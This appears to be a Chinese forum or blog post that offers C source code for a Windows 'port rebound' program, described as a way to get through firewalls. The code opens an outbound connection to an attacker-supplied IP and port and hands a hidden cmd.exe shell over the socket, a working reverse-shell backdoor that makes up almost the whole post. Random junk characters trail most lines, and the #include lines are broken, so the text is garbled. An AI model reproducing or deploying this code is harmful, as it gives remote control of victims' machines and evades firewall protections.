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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )~rN{W<s`H  
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/* ============================== 9FK%"s`  
Rebound port in Windows NT xoPpu  
By wind,2006/7 %b0..Zz  
===============================*/ qY0p)`3!%  
#include tZwZZ0]Z  
#include CsXIq.9  
)V} t(>V  
#pragma comment(lib,"wsock32.lib") sAWUtJ  
UZv^3_,qz  
void OutputShell(); IrJCZsk  
SOCKET sClient; M~=9ym  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }>>BKn   
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void main(int argc,char **argv) a*! wiTGf  
{ d XrLeoK  
WSADATA stWsaData; "\Z.YZUa\  
int nRet; +wr2TT~  
SOCKADDR_IN stSaiClient,stSaiServer; ;i>|5tEy  
G-xW&wC-  
if(argc != 3) u05Zg*.[  
{ F:1w%#6av  
printf("Useage:\n\rRebound DestIP DestPort\n"); Js ~_8  
return; )mS Aog<  
} gm\P`~+o  
_|`S9Nms  
WSAStartup(MAKEWORD(2,2),&stWsaData); ,)|nxX  
{IJ,y27  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D!+d]A[r  
.sgP3Ah  
stSaiClient.sin_family = AF_INET; ymiOtA Z  
stSaiClient.sin_port = htons(0); ESft:3xyw  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); k9xfv@v}  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) <x *.M"6?  
{ ??Q'| r  
printf("Bind Socket Failed!\n"); tY~EB.%  
return; { owK~  
} fKb8)PDP  
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stSaiServer.sin_family = AF_INET; .k|8nNj  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?zM]p"M  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); R#DnV[!\  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ' cR||VX  
{ M3!A?!BU  
printf("Connect Error!"); |9Q4VY'";  
return; <!Ed ND=  
} Z.ky=vCt  
OutputShell(); TFjb1 a,)  
} IC"bg<L,*  
l03{ ezJk[  
void OutputShell() HN]roSt~  
{ UOC>H%r~M?  
char szBuff[1024]; pX `BDYg.  
SECURITY_ATTRIBUTES stSecurityAttributes; q'fZA;  
OSVERSIONINFO stOsversionInfo; slaYr`u  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,4M7:=gf  
STARTUPINFO stStartupInfo; Nr8#/H2f  
char *szShell; <F{EZ Ii  
PROCESS_INFORMATION stProcessInformation; @ (<C{  
unsigned long lBytesRead; B+:/!_  
ZF^$?;'3  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @8{-B;   
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8lk@ev=O&  
stSecurityAttributes.lpSecurityDescriptor = 0; agp`<1h9  
stSecurityAttributes.bInheritHandle = TRUE; GH[ATL  
+}[M&D  
sxkWg>  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Au~l O  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); &c>%E%!"  
p8,Rr{  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7uQiP&v  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N@6+DHt  
stStartupInfo.wShowWindow = SW_HIDE; 4c^WQ>[  
stStartupInfo.hStdInput = hReadPipe; @)k/t>r(  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; j1D 1tn  
@K .{o'  
GetVersionEx(&stOsversionInfo); EIQ`?8KSR  
UEHJ? }  
switch(stOsversionInfo.dwPlatformId) +?y ', Ir  
{ = Lt)15  
case 1: blyU5 3g  
szShell = "command.com"; 0P i+ (X  
break; [}:;B$,  
default: Sy()r 6n  
szShell = "cmd.exe"; L8R{W0Zr>!  
break; ?TTtGbvU  
} m#w1?y)Z@X  
2[} O:  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5 XtIVHA@{  
fSc)PqLP  
send(sClient,szMsg,77,0); t@r>GHO  
while(1) ETZE.a  
{ ISa}Km>Q  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +guCTGD:  
if(lBytesRead) 3ScOJo  
{ ^I W5c>;|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); r)<c ~\0 7  
send(sClient,szBuff,lBytesRead,0); gOb"-;Zw  
} dmA#v:$1  
else PzF>yG[  
{ JX!z,X?r4  
lBytesRead=recv(sClient,szBuff,1024,0); &FrUj>i  
if(lBytesRead<=0) break; 1?I_fA}  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); gI~B _0x  
} R|D%1@i]  
} YOOcHo.F  
(:er~Y}  
return; y[`>,?ns5  
}
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